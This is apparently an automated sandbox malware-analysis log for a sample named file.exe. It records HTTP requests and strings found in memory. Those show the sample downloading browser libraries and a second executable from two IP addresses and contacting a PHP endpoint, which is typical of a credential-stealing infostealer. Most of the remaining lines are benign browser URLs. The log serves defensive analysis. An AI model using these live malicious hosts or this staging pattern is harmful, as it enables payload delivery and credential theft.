Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: 000003.log7.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log7.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log7.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: assets2.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2398221193.0000000001A12000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2423393913.0000000023C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2396751118.0000000000F17000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2398221193.000000000198E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlli
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dlln
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll_
Source: file.exe, 00000000.00000002.2398221193.0000000001A12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2398221193.0000000001A12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2423393913.0000000023C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php003
Source: file.exe, 00000000.00000002.2423393913.0000000023C91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: file.exe, 00000000.00000002.2423393913.0000000023C91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php7
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpBrowser
Source: file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpX0
Source: file.exe, 00000000.00000002.2396751118.0000000000F17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2398221193.0000000001A12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_482.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2412575832.000000001DB2C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2430260874.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, CFCGIIEH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_484.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_484.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: Reporting and NEL.9.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chromecache_482.4.dr, chromecache_484.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 598d5c0d-0ff8-49f7-ba05-3b94a6738f9c.tmp.9.dr	String found in binary or memory: https://assets2.msn.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2423393913.0000000023C15000.00000004.00000020.00020000.00000000.sdmp, GHJJDGHCBGDHIECBGIDA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2423393913.0000000023C15000.00000004.00000020.00020000.00000000.sdmp, GHJJDGHCBGDHIECBGIDA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, CFCGIIEH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2279395077.0000000023C23000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, FCBFBGDB.0.dr, CFCGIIEH.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2279395077.0000000023C23000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, FCBFBGDB.0.dr, CFCGIIEH.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 598d5c0d-0ff8-49f7-ba05-3b94a6738f9c.tmp.9.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 598d5c0d-0ff8-49f7-ba05-3b94a6738f9c.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_484.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_484.4.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2423393913.0000000023C15000.00000004.00000020.00020000.00000000.sdmp, GHJJDGHCBGDHIECBGIDA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2423393913.0000000023C15000.00000004.00000020.00020000.00000000.sdmp, GHJJDGHCBGDHIECBGIDA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_484.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2279395077.0000000023C23000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, FCBFBGDB.0.dr, CFCGIIEH.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2279395077.0000000023C23000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, FCBFBGDB.0.dr, CFCGIIEH.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2279395077.0000000023C23000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, FCBFBGDB.0.dr, CFCGIIEH.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 598d5c0d-0ff8-49f7-ba05-3b94a6738f9c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log8.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: chromecache_482.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_482.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_482.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_482.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: GHJJDGHCBGDHIECBGIDA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log4.8.dr, 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log10.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log10.8.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log10.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log10.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13375832355194661.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chromecache_482.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_484.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_484.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: EHDBGDHDAECBGDHJKFIDGCBFBK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EHDBGDHDAECBGDHJKFIDGCBFBK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EHDBGDHDAECBGDHJKFIDGCBFBK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: chromecache_484.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2423393913.0000000023C15000.00000004.00000020.00020000.00000000.sdmp, GHJJDGHCBGDHIECBGIDA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2423393913.0000000023C15000.00000004.00000020.00020000.00000000.sdmp, GHJJDGHCBGDHIECBGIDA.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, CFCGIIEH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.8.dr, content.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2279395077.0000000023C23000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, FCBFBGDB.0.dr, CFCGIIEH.0.dr, Web Data.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 598d5c0d-0ff8-49f7-ba05-3b94a6738f9c.tmp.9.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_484.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_484.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_482.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_482.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_482.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: EHDBGDHDAECBGDHJKFIDGCBFBK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2396751118.0000000000F17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2396751118.0000000000F17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/EBGHJKFHIDGC
Source: file.exe, 00000000.00000002.2396751118.0000000000F17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/dHh0
Source: EHDBGDHDAECBGDHJKFIDGCBFBK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2396751118.0000000000F17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2396751118.0000000000F17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0
Source: EHDBGDHDAECBGDHJKFIDGCBFBK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2396751118.0000000000F17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2339159902.0000000023D90000.00000004.00000020.00020000.00000000.sdmp, EHDBGDHDAECBGDHJKFIDGCBFBK.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: EHDBGDHDAECBGDHJKFIDGCBFBK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2339159902.0000000023D90000.00000004.00000020.00020000.00000000.sdmp, EHDBGDHDAECBGDHJKFIDGCBFBK.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
